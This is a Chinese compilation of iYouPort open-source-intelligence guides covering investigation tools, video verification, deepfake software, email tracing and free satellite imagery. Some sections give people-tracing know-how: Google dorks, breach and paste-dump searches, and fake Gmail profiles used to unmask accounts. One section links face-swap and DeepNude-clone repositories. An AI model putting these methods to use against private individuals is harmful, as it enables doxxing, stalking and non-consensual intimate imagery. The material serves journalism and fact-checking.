所有这些信息都是公开的，但是很分散，调查者很难找到。这个站点将它们集中在一个地方。数据来自政府文件、新闻文章和其他信誉良好的来源。一些数据集会自动更新; 其余部分由用户社区填写。

Lumen：收集和分析法律投诉和删除在线资料的请求，帮助互联网用户了解他们的权利并理解法律。这些数据使用户能够研究法律威胁的普遍性，并让互联网用户看到内容删除的来源。

Maltego ：交互式数据挖掘工具，用于呈现链接分析的有向图。用于在线调查，以查找来自互联网上各种来源的信息之间的关系。非常强大！

比起其它的情报收集工具，Maltego 显得格外不同并且功能强大，因为它不仅可以自动收集到所需信息，而且可以将收集的信息可视化，用一种格外美观的方式将结果呈现给使用者。你可以看到许多有用的信息，比如 DNS 信息，邮件服务器，IP，用户，电子邮箱ID，网络等。

Montage：用于协同工作。让您能够将注意力集中在分析而不是数据收集上。

Malicious URL Tester：测试未知的 URL。为了安全。

OpenCorporates：世界各地的公司数据库。里面包含了 1.38 亿家企业和 1.76 亿员工的信息，而且还在不断更新。

Tor Site Searcher：通过 clearnet 搜索隐藏的 tor 网站。你懂的。

TimelineJS by Knight Lab：制作事件的互动时间表。透过工作表(google document spreadsheet)，直觉的栏位设计，在填完资料后即可透过 TimelineJS 的网路介面输出时间表。

具备整合网路资源及网路多媒体及的特性，非常适合网站提供动态网页时间表与使用者互动，虽然制作过程中，时间表网站的操作介面没有中文，但是时间表的相关讯息支援中文内容，而设定中文语系的参数后，时间表本身也会呈现中文的日期。

Visual timeline creator：点击链接，一看就明白！

Unknown Hash ID：在调查时，如果你遇到哈希但不知道它是什么（为保证进一步调查）这个工具帮你确定类型。

Zoopla：使用英国领先的资源搜索房产。浏览房屋和公寓出售和出租的情况，并找到任何地区的房地产经纪人。中国人正在全球买房，尤其是富人（你知道中国富人的钱是怎么来的）所以……它非常有用。

— — 关于战争 — —

冲突武器研究所开放的名为“Itrace”的指南，以地图格式图形化地展示了各种弹药和武器的大量信息，这里：itrace.conflictarm.com

关联我们的文章《如何使用数字技巧在线验证中东冲突中的战斗伙伴关系》

— — 数据可视化 — —

DataBasic.io：适用于初学者的 Web 工具，介绍使用数据的概念。这些简单的工具使您可以轻松地以有趣的方式处理数据，因此您可以学习如何找到要讲述的精彩故事。页面很萌哈。

DataWrapper：易于使用的图表和绘图工具。

Google Fusion Tables：数据融合表是 Google 提供的用于数据管理的网络服务。 Fusion 表格可用于收集，可视化和共享数据表格。数据存储在多个互联网用户可以查看和下载的表格中。

RAWGraphs：免费的 webtool 可以快速可视化您的数据。基于 D3.js 的开源工具，不用代码，只需要导入数据，设置一些条件就可快速生成。而且可以导出 svg 格式的图片，也就是说用 RAWGraphs 生成的图片后期可以轻松地用 AI 或者 PPT 来进一步对其进行编辑。

Open Desktop Semantic Search：能很好地搜索非结构化数据。

TrustServista：在线新闻验证和可视化工具！

—— 安全工具！ ——

详见我们这篇文章《最全面的安全工具手册，几乎是您所需要的一切》

—— 其他 ——

https://socialbearing.com/ ：很多 Twitter 统计数据，非常有用；

Namechk.com：非常适合使用用户名识别在线帐户。只需插入用户名，此工具即可识别所有使用该名称的用户的位置。

好啦，你的锦囊就在这里！如果一名声称专业的调查记者、追求正义的公民、社交工程师、捍卫真相的民间组织，不能熟练使用上述工具中的 50%，说明他们完全不“专业”。

结束被欺骗蒙蔽的厄运，扭转信息封锁造成的无知，知情权是基本公民权，希望更多有志之士加入 #OSINT 一起来捍卫这一民主的根基。

如果您有更多的工具推荐，欢迎在留言中交流！本列表将不断得到补充；如果您是开发者，欢迎援引本指南的思路，开发出更多更适合中国公民社会使用的调查工具。我们将很高兴协助您推荐这些作品。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

10个简单技巧 快速验证社交媒体热门视频的真伪 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

验证视频真伪比验证照片更复杂，但是一些简单的方法大众都应该掌握。本文将介绍十个简单的验证方法，鉴于造假技术越来越容易使用，假货越来越逼真，这些技巧应该作为常识，进入大多数公民的习惯，

「图」

「图」

在所有类型的假消息中，视频是最难以进行事实核查的东西。

首先，它不像文本和照片那样容易搜索。您无法直接将视频粘贴或上传到 Facebook 或 Google 上以查看真实性或趋势性。

其次，目前无法查看在 Facebook、Twitter 或 Instagram 上哪些视频正在流行。它们本质上是黑匣子，事实核查人员经常抱怨这使他们的工作更加困难。（尽管在 Facebook 上对图像进行事实核查方面已取得了进展）

不过也有一些方法可以做到，比如见这里：《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》。

事实上虚假视频的创建和检测正在变得越来越容易（文末将帮您体验它的容易程度）。所谓的“ deepfake”技术是利用人工智能来改变图像，比如将名人的头部叠加在其他人的身上。

- 《当恶意者掌握技术：信息战的未来究竟有多可怕？》
- 《深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？》

考虑到这些挑战，下面列出的方法是一些可以在社交媒体上揭穿病毒

式传播的虚假视频的提示和技巧。

不幸的是，对于事实核查人员来说，仍然没有验证深度造假视频的最简单和直接的方法 —— 但有些人同意，现在要说出问题的严重程度还为时过早。

简单说，基本上最容易用来操控大众认知的造假技术都相对日常和简单，致命性的深度造假不容易遇到；只要您能熟练掌握以下这十个常规检验方法，绝大多数造假都不会骗到您。

1、仔细思考。

在剖析视频本身之前，请先查看是否还有其他东西可以帮助您检查和确认。

比如，相关事件有媒体报道吗？视频中是否有明显被篡改的部分（不协调的部分）？甚至更简单的，比如视频中人物的衣着和发布者宣称的事发事件相符吗？

视频本身相对难以验证，因此请避免做不必要的工作。

2、寻找煽动性语言和基本信息。

例如这是谁、是什么、何时、何地、为什么、以及如何。

如果前者存在而后者缺乏，则有很好的迹象表明该视频可能会产生误导性。

如果视频使用侮辱性或贬低性的语言，则附随的文本很有可能只会讲出部分背景故事，甚至完全虚构。

仔细观察该视频正在讲述哪些信息？你总是能发现那些缺乏基本信息的视频令人怀疑。

3、查看视频的详细信息是否在不同的转发者之间有所改变。

如果某个分享它的人声称这个视频发生在一个国家/地区，而另一个分享者却没有这么说，那么就应该暂停一下。

欺骗性视频的背景故事经常被改变，以迎合某些观众甚至某段时间内观众的需求。

如你所知，真实的旧视频被当成新故事来讲述，是造假者很常用的方法，见《真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系》。

此外，观看视频并单独阅读其附带的文本，以确定其声称中描绘的内容是否合理。

4、使用一些基本工具，比如 **YouTube Dataviewer** 之类的工具，或下载 **InVid** 浏览器扩展程序。

前者只专注于 YouTube，后者则允许人们粘贴来自 YouTube、Facebook 或 Twitter 的链接，以获取有关其来源的更多信息，并提取关键帧，以进行进一步的检查。

工具部分详见：《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》

这些工具的思考方式是相似度搜索，比如判断这个视频究竟是不是第一次上传互联网？以及视频中的关键细节，比如有地标吗 —— 以判断它发生在哪里，或者天气状况和阴影状态 —— 以推测它大概发生在什么时间。

时间和地点的分析是开源情报分析中的重点部分，我们的相关栏目中对此做过很多演示。以下是部分案例，您能从中看到一些常用思考方式：

- 《那辆军车正驶向哪里？：侦探挑战时间》
- 《侦探挑战游戏：快速地理定位的两种方法》
- 《信息验证技巧：如何确定照片(视频)的拍摄时间？》
- 《使用电影做侦探挑战演示》
- 《让阴影说话：开源调查小游戏》
- 《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》

5、最简单的大众验证方法。

如果您使用的是移动设备，请拍摄视频的屏幕截图，然后将其上传到反向图片搜索服务，以查看该视频是否已在其他地方发布过 —— 这样可以为您提供更清晰的背景信息提示。

反向图片搜索工具是开源调查中的重头戏之一；有很多种相关工具，由于算法的侧重点不同，它们各有千秋，这里是对侧重点的对比，以帮助您快速准确地使用这些工具，见：《搜图功能哪家强？图像验证

方法的能力对比》。

6、如果无法从 **InVid** 中提取单个帧，请尝试使用 "VLC" 之类的软件来降低视频播放速度，以查看过渡细节。

对于造假视频，如果您以慢镜头观看，则很容易分辨出在哪里篡改了场景。比如这里的演示案例《深圳遭遇台风的 DragonAir 波音 737 的视频是假的，这里是为什么》。

或者，尝试使用 FFmpeg 以获取更详细的关键帧，然后运行反向图像搜索。

7、下载视频并查看其元数据。

这里是检验元数据的工具《亦正亦邪元数据（下篇）》。

尽管大多数社交媒体平台都会在有人上传信息后将元数据删除，但是，如果您拥有源版视频，则可能会找到有关视频来源的线索（大多数造假者不知道该如何抹去或篡改元数据，即便篡改也会留下痕迹）。

上面的工具箱，其中都有。

8、如果视频发生在户外，请使用地理位置软件检查视频是否确实在其声称的位置拍摄。

依旧是我们上面列举的部分演示中所强调的地理位置判定思考方式。

工具很大众， Google Earth 和 Wikimapia 就能做到；关键在于思考方式。

如果您能找到位置，并且位置正确且经过验证，则可能会找到与事件有关的更多信息；弄清楚在哪里拍摄的，确定视觉提示，并将其与卫星图像相匹配。

9、检查视频的拍摄时间。

如果有可见的阴影，则可以使用 Suncalc 等工具根据一年中的特定时间检查视频的方位，从而确定视频的拍摄时间。

这可以帮助您根据时间范围验证视频或对视频进行批处理。

- 《公民记者如何验证民间爆料视频的真实性？》

10、如果上述所有其他方法均无效，请尝试在 **YouTube** 上快速搜索一些与目标视频相关的关键字。

特别是对于利用视频游戏画面声称是战争而发布误导性信息的视频，骗子通常会使用相同的关键字直接从视频共享平台中提取信息。

如上，基本就是这样 —— 这些是人人可用的验证方法。

虽然对于那些具有重大政治操纵意义因而费尽心思制作的深度造假来说，这些方法可能无法完全覆盖，但是，对于大多数虚假视频来说，这些方法都是有效的。

好吧，关于深度造假。

下面将介绍几个极为简单的深度造假工具，也就是说，所有人都可以使用的工具，包括验证平台。

⚠请注意，这些工具的使用有非常高的道德标准，如果任何人想用它们做坏事、操纵事实和诋毁无辜的人，肯定有人会找到你。

1、**Faceswap** —— 这是最热门的造假工具，因为非常容易操作，被誉为 “适用于所有人的 Deepfakes 软件”。https://github.com/deepfakes/faceswap

2、**Faceswap2** —— 这是增强版，https://github.com/joshua-wu/deepfakes_faceswap

3、**DeepFaceLab** —— faceswap 的另一个版本。https://github.com/iperov/DeepFaceLab

4、**DeepfakeCapsuleGAN** —— 使用 Capsule GAN 生成深度假货，https://github.com/snknitin/DeepfakeCapsuleGAN

5、**Large resolution facemasked** —— 如题可以制作较高分辨率的假脸，https://github.com/dfaker/df

6、**Deepfakes China** —— 中文版的。说实话深度造假技术在中国的知名度更高 https://www.deepfakescn.com/

7、**Easy_Deepfakes_GUI** —— 非常简单易于操作的换脸工具，

https://github.com/boehm-e/Easy_Deepfakes_GUI

8、**Deepfakes Web** —— 付费访问，工具和教程的网站，https://deepfakesweb.com/

9、**DeepNude** —— 一个深度造假应用程序，可渲染穿着衣服的女性的裸照。如你所知，争议非常大，但开发者还是把它卖出去了。

Open-Deepnude 是一个 Github 项目，用于重新创建 DeepNude。

***注：仅出于希望研究人员可以使用该软件的意愿而列出该项目，并且将/正在努力对该技术进行反击（有趣的是，参与该项目的很大一部分帐户似乎都属于中国用户）。

https://github.com/StoneLyu/open-deepnude?source＝post_page——294c3909602————————-

10、**arxiv.org** —— 是一种机器学习模型，经过训练可以从16×16像素的微小输入图像中重建面部图像，将其放大到128×128，具有逼真的照片效果。

这里是总览：https://iforcedabot.com/photo-realistic-emojis-and-emotes-with-progressive-face-super-resolution/

11、**TruePic** —— 验证图片视频真实性的在线平台，https://truepic.com/

⚠再次重申：请不要做任何伤害无辜者的事！

关于造假视频的验证技术，我们曾经介绍过一些，比如这里：《公民记者如何验证民间爆料视频的真实性？》。并且将来还会不断介绍相关知识—— 验证技术将致力于让大众易于掌握、易于使用。

多练习就会更加熟练。〇

原文

12个开源情报资源：挖掘电子邮件背后的秘密 - iYouPort

开源情报-每个人都可用的武器

不止是电话号码，私人重要的电子邮件也不要随便公开

「图」

「图」

大多数开源情报调查都会涉及至少一个电子邮件地址。有些调查之初，你甚至只有一个电子邮件地址，此外什么都没有。

- 不要错过《如果调查之初你只有一个电邮地址……可以怎么办？– 开源情报经验》

电子邮件地址有时可能会有些挑战，但它们也可以提供有关目标的大量信息。这篇文章的其余部分将研究可用于最大程度上利用电子邮件地址的各种不同工具和技术。

有关特定电子邮件地址的可用信息量可能相差很大。

这取决于许多不同的因素，例如，电子邮件地址的年代有多久远、所有者在互联网上发布该电子邮件的范围、提供商是否是像 Gmail 或 Protonmail 这样的大众电子邮件、或者电子邮件地址绑定到自己的公司/组织的域名了吗。

下面我们来看看您可以怎么做。

1、Google

「图」

「图」

Google 是进行搜索的理想之地，但有时查找电子邮件地址的价值可能有限。

主要原因是 Google 无法访问人们使用其电子邮件地址（例如帐户登录页面）的地方。

但是，仍然存在一些有用的方法来查找Google能为其建立索引的电子邮件地址。

使用引号仅返回完全匹配项。也就是说，搜索 **“user@domain.com”** 比仅搜索 user@domain.com 更精确。

intext 搜索运算符还可用于查找包含该电子邮件地址的网页。

当与 **site**：结合使用时，也就是说在与您的目标组织相关的网站内进行搜索时，尤其有效。例如：**site:targetcompany intext:target@email.com**

- 在这里看到所有运算符和使用方法汇总《攻防皆可用：GoogleDorking 高级运算符完整列表》

您甚至可以通过以下搜索字段来调整该技术，这样：

site:organisation.com intext:@organisation.com

这将返回公司网站内的所有可索引的电子邮件地址。本示例显示您可以使用以下查询来查找 bbc.co.uk 域中列出的所有电子邮件地址：

site:bbc.co.uk intext:@bbc.co.uk

另一种真正有效的技术是使用 **filetype:** 搜索运算符可找到目标的电子邮件地址。这可以找到隐藏在PDF或其他文件类型中的目标电子邮件地址。

这可以显示公司文件、发票、会议记录、体育俱乐部设施、或任何其他类型的文件。例如这样的搜索：

intext:”boris.johnson.mp@parliament.uk” filetype:pdf

这样将找到包含鲍里斯·约翰逊议会电子邮件地址的所有PDF。

当搜索链接到网络上有大量文档的组织（例如政府机构或大学）的电

子邮件时，此功能特别有效。

「图」

「图」

在这一点上也值得一提 FaganFinder。它的工作方式与 Google filetype:类似，但它允许将不同的文件类型与更广泛的搜索引擎结合使用。

2、用户名

某人的电子邮件地址与其用户名之间通常存在一些联系。尝试的一种好方法是获取电子邮件地址的第一部分并通过多个用户名搜索引擎运行它。

比如，如果您想了解有关 cryptoscammer666@gmail.com 的更多信息，则可以使用用户名 cryptoscammer666 运行搜索。

电子邮件名越独特，您就越有可能找到匹配项。有许多基于浏览器的工具可以执行此操作，但是到目前为止，我最喜欢的工具是 Sherlock，在下面看到具体介绍：

- 《在互联网上识别和追踪一个人的基本方法》

「图」

「图」

不过请注意。用户名的归属和关联远非确定。仅仅因为两个帐户或电子邮件地址具有相同的用户名，并不意味着它们已被链接。

如有可能，应进一步确认。比如上图，有好几个 “nixintel”，其实真实的只有一个。

3、Pastes

「图」

「图」

Pastes 站点是开源情报信息的宝库。

它们包含数据泄露、公共记录、聊天室日志以及许多其他有用的信息，包括电子邮件地址。

Pastebin 是迄今为止使用最广泛的工具，并拥有自己的内置搜索引擎。

NetBootCamp 还具有一个自定义搜索工具，使您可以同时在多个 Pastebin 站点中进行搜索。

「图」

「图」

去年 Jake Creps 发表了一篇有趣的研究，内容涉及如何查找未出现在 Google搜索结果中的 Pastebin。

通过使用以下 Google 搜索，可以在网站（例如黑客论坛）上列出的 Pastebin 转储中搜索未由 Google 编制索引的电子邮件、或位于搜索结果列表很靠后的位置以至于看不到的东西：

Intext:”pastebin.com” AND "target@domain.com" **– inurl:”pastebin.com”**

4、HaveIBeenPwned

「图」

「图」

HaveIBeenPwned 是一个众所周知的资源，用于检查电子邮件是否涉及数据泄露，但也可以用于开源情报调查。

当您发现一个电子邮件遭到违规时，HIBP 还将显示其遭受了哪些数据违规。这将使您对电子邮件地址的使用年限有所了解，但更重要的是，它将使您对目标拥有（或曾经拥有）帐户的站点和服务有一个了解。

就是说，识别目标电子邮件中存在的违规行为您就可以识别他们使用了哪些站点或服务，然后从那里开始，也许使用上面第2点提到的用户名技术。

H8Mail 也是用于识别违规的出色命令行工具。 此外 Dehashed 提供

了类似的付费服务，其中包括密码以及电子邮件地址，但请注意以下：

⚠无论您居住在哪个国家/地区，几乎可以肯定的是，未经他人授权而获取某人的密码并访问其电子邮件是犯罪行为。当然，它也远远超出了可以适当地称为开源情报的范围。

5、Emailrep.io

「图」

「图」

Emailrep.io 是一项出色的服务，旨在识别电子邮件帐户的使用期限，是否与网络钓鱼链接有关、以及已知与哪个其他社交媒体帐户相关联。

这对调查网络钓鱼和垃圾邮件发送者很有用，但也方便使用开源情报工具。

用几个电子邮件地址进行了尝试，它已经成功地识别了与这些电子邮件相关的许多社交媒体服务，但是请注意，它不能捕获所有这些电子邮件。

要检查电子邮件，请使用以下URL：

"https://emailrep.io/target@domain.com"

您还可以使用curl命令从命令行直接查询API：

```
curl emailrep.io/target@domain.com
```

两种方法都会生成一个包含许多有用信息的 JSON 文件。这是电子邮件地址 jack@twitter.com 的示例：

```
$ curl emailrep.io/jack@twitter.com { "email":
"jack@twitter.com", "reputation": "high",
"suspicious": false, "references": 25, "details":
{ "blacklisted": false, "malicious_activity":
false, "malicious_activity_recent": false,
"credentials_leaked": true,
"credentials_leaked_recent": false, "data_breach":
```

true, "first_seen": "07/01/2008", "last_seen": "02/25/2019", "domain_exists": true, "domain_reputation": "high", "new_domain": false, "days_since_domain_creation": 7179, "suspicious_tld": false, "spam": false, "free_provider": false, "disposable": false, "deliverable": true, "accept_all": true, "valid_mx": true, "spoofable": false, "spf_strict": true, "dmarc_enforced": true, "profiles": ["foursquare", "pinterest", "facebook", "linkedin", "twitter", "spotify", "gravatar"] }

很厉害吧……

Spycloud 有一个类似的工具，但是它返回的数据量要少得多。搜索的URL是这样：

"https://portal.spycloud.com/endpoint/enriched-stats/user@email.com"

「图」

「图」

上图显示了查询 jack@twitter.com 的结果。如您所见，它返回的信息少于Emailrep。

6、Hunter.io

「图」

「图」

Hunter 是一个很棒的电子邮件开源情报工具。它面向销售和招聘专业人士，但这对调查来说也非常有用（不过您需要注册）。

它不适用于 Gmail 等常见的电子邮件提供商，但是如果电子邮件地址链接到组织自己的域，则 Hunter 极为有用。

在此示例中，将使用 Hunter 查看链接到《卫报》 theguardian.com 域的电子邮件地址。

「图」

「图」

Hunter 会返回其标识为已链接到该域的所有电子邮件地址的列表，并且它足够聪明，可以确定目标最有可能工作在组织的哪个部门。

它还引用了从中抓取数据的URL，这使您可以通过选择右侧的“sources”下拉选项来进一步扩展搜索。即使原始页面已被删除，URL也保持引用状态。

「图」

「图」

另一个有用的功能是 Hunter 能够根据已经发现的电子邮件地址的格式来预测在该组织工作的某人的电子邮件地址。

例如，如果我想检查《卫报》是否雇用了一个名为 “Nix Intel” 的人，则可以在 Hunter 中输入名称以预测可能的电子邮件地址。

即使找不到任何匹配项，学习电子邮件格式也可以使您构造出可能的电子邮件，并尝试在其他平台（如 LinkedIn）上找到匹配项。

7、WhitePages

「图」

「图」

WhitePages 和类似的服务对于反向电子邮件查找很有用。

这些公司使用来自数百个来源的大量数据，可以帮助将电子邮件链接到其他信息上，例如：地址和电话号码。

但是，只有在美国做调查时，WhitePages 才值得付费。

数据保护和隐私法意味着英国或欧盟不可能有与 WhitePages 相当的产品，因此，如果您的目标位于欧盟，则它作为电子邮件查找工具的价值将有限。

8、Twitter-Gmail 同步

「图」

「图」

通过在某些应用和服务上使用联系人同步功能，您可以使用电子邮件地址来识别目标相关的其他社交媒体资料。

该技术涉及创建虚假的 Gmail 个人资料以及链接到同一帐户的 Twitter 个人资料。

只需将您的目标电子邮件添加为 Gmail 联系人，让 Twitter 与您的 Gmail 联系人同步即可，并且非常方便 —— 如果您的目标电子邮件具有关联的 Twitter 帐户，则很容易看到它。具体操作见：

- 《如何只用电子邮件地址追踪到 Twitter 帐户？》

9、LinkedIn

「图」

「图」

LinkedIn 对开源情报来说充满了机会，包括电子邮件研究的机会。

LinkedIn 允许您调整URL，以查看是否有个人资料链接到了任何给定的电子邮件帐户。 URL如下：

"https://www.linkedin.com/sales/gmail/profile/viewByEmail/user@domain.com"

如果有与该电子邮件相关联的 LinkedIn 帐户，则会显示该帐户。

Osint.support 现在还提供了一个浏览器附加组件，可自动将 LinkedIn 帐户与电子邮件地址进行匹配，并且 ThumbTube 上还提供了一个网络门户。

但是，如果您想从领英个人资料到电子邮件以另一种方式工作，该怎么办？

Matthias Wilson 对这个主题进行了出色的研究。与上述 Twitter 方法类似，Matthias 使用 Gmail 与其他服务同步的方法来尝试查找他在 LinkedIn 上找到的某人的电子邮件地址。

他知道他们的名字，因此他使用 E-mail Permutator 生成了可能的电子邮件地址列表。

将所有这些输入到 Gmail 中，然后查看哪些地址与 LinkedIn 个人资料同步，即使您一开始不知道该地址，也可以帮助识别出来。

10、MxToolbox

「图」

「图」

MxToolbox 是一项用于MX（邮件交换）服务器的诊断和查找的长期服务。对于来自 Gmail 之类的流行电子邮件域来说，它并不是很有用，但是当目标通过自己的MX服务器使用电子邮件服务时（大多数大型组织通常都会这样做），MxToolbox 就可以提供帮助。

确定邮件交换服务器的IP地址是一个很好的起点，以便了解有关目标组织和网站的更多信息。

MxToolbox 还提供电子邮件标头分析服务。这样做的局限性是您需要直接拥有目标的电子邮件，因为如果在其他地方发送电子邮件标头将被覆盖。

如果您确实有电子邮件标头（在此处查看如何获取），则 MxToolbox 可以识别原始IP地址等。

但是，这有一个局限性 —— 像 Office365 这样的基于云的电子邮件服务的日益普及意味着原始IP地址更有可能来自云服务提供商，而不是直接链接到目标的位置。

11、WhoIs

「图」

「图」

毫无疑问，由于匿名服务和 GDPR 之类的立法的兴起，WhoIs 作为开源情报的用途远不如以前了。

但是，仍有大量电子邮件地址链接到 WhoIs 的域和IP，无论是注册

人、技术支持还是滥用联系。

有一些工具可以搜索 WhoIs 记录，但是 ViewDNS 在此处提供了一个很好的简单界面，用于根据注册人信息检查电子邮件。

12、蜘蛛脚

「图」

「图」

Spiderfoot 是自动开源情报查询的绝佳工具。我们介绍过它，见：

- 《如何自动执行情报搜集？蜘蛛脚入门指南》

您可以通过上面的文章了解如何设置和运行 Spiderfoot。这是一个支持很好的工具，并提供了完善的文件资料。

有数十种不同的搜索模块可用，对于电子邮件地址有一些特定的模块，比如以下这些：

「图」

「图」

还有很多其他功能，包括一些模块，这些模块可以自动执行上面描述的 HaveIBeenPwned 和 Hunter.io 的检查。

还有其他优质的电子邮件工具和技术本文没有提到吗？您可以在留言中告诉我们。〇

广告

原文

15个免费的卫星图像数据源：甚至可以看到车牌…… - iYouPort

开源情报-每个人都可用的武器

卫星图像是开源情报调查的硬件

「图」

「图」

调查界的小秘密是：有数十种权威来源的高质量卫星图像。

但是，还有更多 ……

您不仅可以下载最新，最出色的卫星图像……而且可以完全免费。

您只需要知道在哪里可以找到它们。以下就是免费卫星图像资源的清单。

1、USGS Earth Explorer

「图」

「图」

无论您身在何处，USGS Earth Explorer 都可以提供大量的卫星图像资源：

LANDSAT：想象一下，在任何给定地点都能回顾40多年；在任何给定时间段内，您都可以看到发生了什么变化。那有多值钱？

这是 Landsat 卫星影像的骄傲。它具有近40年的历史，是任何其他卫星图像所无法比拟的。通过 USGS Earth Explorer 上的 Landsat 您可以免费下载这个星球的历史。

高程：想要高程吗？ASTER 和 SRTM 是世界著名的数字高程模型。通过 USGS Explorer，在地球上的任何地方找到你想要的东西。

高光谱：探索来自 Hyperion 的高光谱图像。只有通过这个平台您才能拥有如此难得的机会。

USGS Earth Explorer 是免费卫星图像的世界一流来源。无论您身在何处，都可以随时使用它。

这里有一个有关如何从 USGS Earth Explorer 下载免费 Landsat 影像的入门指南。

2、Sentinel Open Access Hub

「图」

「图」

Sentinel-2 是开放式卫星图像新的令人兴奋的时代的开始。

不仅仅是因为其覆盖范围遍及全球；而且，Sentinel-2 是当今可下载的最清晰的免费卫星图像工具。

Sentinels Open Access Hub 是下载 Sentinel 图像的官方总站。这里有一份指南，可以帮您了解如何下载 Sentinel-2 图像。

SENTINEL-2：两颗卫星组成 Sentinel-2。由于其受欢迎程度，未来几年将再增加2颗卫星。

Sentinel-2 具有10米的分辨率 (红绿蓝、近红外)。它的12个光谱带包括SWIR。SWIR 波段具备更强的大气穿透能力，有助于对地物景观进行较以往更深入的分析判读。

SENTINEL-1：如果需要合成孔径雷达（SAR）图像，则 Sentinel-1 为C波段。 SAR的潜力是无限的。但是您不会得到像 Sentinel-2 这样的漂亮图片。

下载 Sentinel 图像后，如何使用它？下载ESA的开源 Sentinel-2 Toolbox。所有工具都为您提供了包含丰富的分析、可视化和处理工具集的框架。

3、NASA Earthdata Search

NASA 的 Earthdata Search 有很多让人喜欢的地方。特别是在进行了新的改版之后。它具有全新的外观和设计。首先，卫星数据的选择令人难以置信。

DERIVED DATA: NASA的大多数地球数据是用于地球科学研究的分析产品。大多数产品来自 DAAC。

LAND COVER: NASA Earthdata 还是全球土地使用和覆盖的绝佳来源。它具有专业的卫星数据，如永久冻土和湿地类型。

建议从一个简单的搜索开始。然后，更改时间范围标准以缩小搜索范围。最后下载免费的卫星图像。经过几次尝试您就能掌握其窍门。👇这里有一份使用指南将有所帮助。

4、NOAA Data Access Viewer

您可以在这里发现沿海地区的权威数据集。但这不仅适用于卫星图像。

数据来自美国国防部（DOD）极地轨道运行环境卫星（POES）、NOAA的地球静止运行环境卫星（GOES）和其他衍生数据。

航空/卫星影像：NOAA 数据访问查看器可保存卫星，航空和 LiDAR 图像。首先，输入您感兴趣的区域。所有可用的数据集将显示在右侧窗格中。从这里开始，只需下载。

5、DigitalGlobe Open Data Program

「图」

「图」

如果您想要世界上最清晰的卫星图像，请尝试利用 DigitalGlobe 的功能。准备惊讶吧，它的清晰度以至于几乎可以看到车牌。

您可以通过两种方式从 DigitalGlobe 下载免费的卫星图像：

开放数据计划：对于任何自然灾害，DigitalGlobe 的开放数据计划都会提供卫星图像以供救援。例如，火灾、洪水、飓风、台风和地震就是该列表的一部分。他们根据知识共享4.0许可将数据发布到公共领域。

样本数据：如果您只是想尝试，可以从他们的样本图像中下载。例如，它具有建筑物占地面积、立面和真彩色图像。

这些是高分辨率卫星图像的示例。如果您在这里找不到想要的东西，那么下一个选择就是可以尝试的。

6、Geo-Airbus Defense

「图」

「图」

就像 DigitalGlobe 一样，Geo-Airbus Defense 是一家商业供应商。Geo-Airbus Defense 是 SPOT、昴宿星、RapidEye 和 Terrasar 数据的绝佳来源。

来自这些卫星的及时和准确的数据正被用于各种领域，如安全、油气、采矿和能源、农业、环境和灾害测绘。

它还收集了一些样本图像。但不幸的是，他们的免费卫星图像选择非常有限。

示例图像：Geo-Airbus Defense 提供了140多个用于实验的示例图像。对于光学成像，使用 SPOT 可以将其精确到1.5米。 TerraSAR-X 的雷达图像清晰度至3米。

最后，您可以得到无与伦比的12米的 WorldDEM。这比 ASTER 和 SRTM 全局DEM更精确。

7、NASA Worldview

「图」

「图」

NASA Worldview 对于下载原始数据来说不是很好。例如，您甚至不能在这里下载著名的 Blue Marble。但是你可以在 NASA NEO 上做到。

科学产品：NASA Worldview 的目标是展示跨学科的科学产品。例如关于灾害和灾难的部分。此外您可以对卫星衍生产品进行圆角处理。

如果要下载免费的卫星图像，则必须在地图上添加图层。接下来在下面的滑块中选择日期。最后，单击图例中的数据选项卡，单击“下载数据”按钮。

8、NOAA CLASS

「图」

「图」

从陆地到天空到海洋，NOAA 的卫星图像库是大型阵列数据综合管理系统（CLASS）。

要访问它，您必须注册一个帐户。然后，您可以登录并开始下载卫星图像。NOAA CLASS 乍看起来有点混乱。但是您可以将它分为3个部分：

OCEANIC IMAGERY: NOAA 通过 CoastWatch 管理和保护海岸线。CoastWatch 是风、温度和颜色等测量值的集合。所有这些都来自 POES，JASON 和 GOES 等卫星。

ATMOSPHERIC IMAGERY: GOES-R 是迄今为止最先进的气象卫星。因此，这些卫星图像场景捕获了从飓风到龙卷风的所有信息。

ENVIRONMENT AND CLIMATE: 这里涵盖从臭氧到气溶胶的所有产品。

目前 NOAA 国家数据中心支持 PoE、DMSP、GoS、Metop、Jason-2 数据和选定的模型再分析数据。它将把核电站、JPS（以前的 NPOES）、GOS-R、Jason-3 的数据收集归档，计划中的地球观测系统包括 nexrad 产品。

9、National Institute for Space Research (INPE)

「图」

「图」

国家空间研究所（INPE）是巴西的太空研究部门。他们开发了INPE图像目录，这是一个可以下载免费卫星图像的库。该目录的很大一部分是来自CBERS的卫星图像。

CBERS：该目录包括来自他们自己的中国-巴西地球资源卫星2和2b（CBERS-2、CBERS-2b）的卫星图像。它包括来自美国、英国和印度的卫星，Aqua、CBERS、Landsat、ResourceSat、S-NPP、Terra和 UK-DMC 2。

一个警告是该数据特定于南美和非洲。如果可以的话，您需要将网站从葡萄牙语翻译成英语（直接转译中文的话读起来很难受）。

完成此操作后，您将必须创建一个帐户。因为对于您的每个请求，INPE 都会将下载详细信息发送到您的电子邮件中。

接下来，选择您的卫星和传感器。然后，选择一个位于南美和非洲的国家。最后，将其添加到购物车，单击 “Go Ahead”。从这里，您可以从 INPE FTP 站点下载免费的卫星图像。

10、Bhuvan Indian Geo-Platform of ISRO

「图」

「图」

印度在卫星遥感技术上取得了巨大成功。这可以追溯到1998年印度遥感卫星（IRS1A）的发射。从那时起，在 Bhuvan Indian Geo-Platform 上就可以获取数据。

该平台构建良好。但是大多数数据仅适用于印度。这包括 IMS-1（高光谱），Cartosat，OceanSat 和 ResourceSat。都是印度的卫星。以下产品也可以在印度境外下载：

- NDVI（标准化差异植被指数）全球覆盖率
- CARTODEM：30米高程模型使用来自重叠的 Cartosat-1 图像的立体图像。

11、JAXA’s Global ALOS 3D World

「图」

「图」

ALOS World 3d 是一个30米空间分辨率的数字表面模型（DSM）。JAXA构建了它，并于近期向公众公开。

这是目前最精确的全球尺度高程数据。

使用先进的陆地观测卫星 “Daichi”（ALOS）—— Palsar 的L 波段，JAXA Global ALOS portal 是一个令人兴奋的发展。

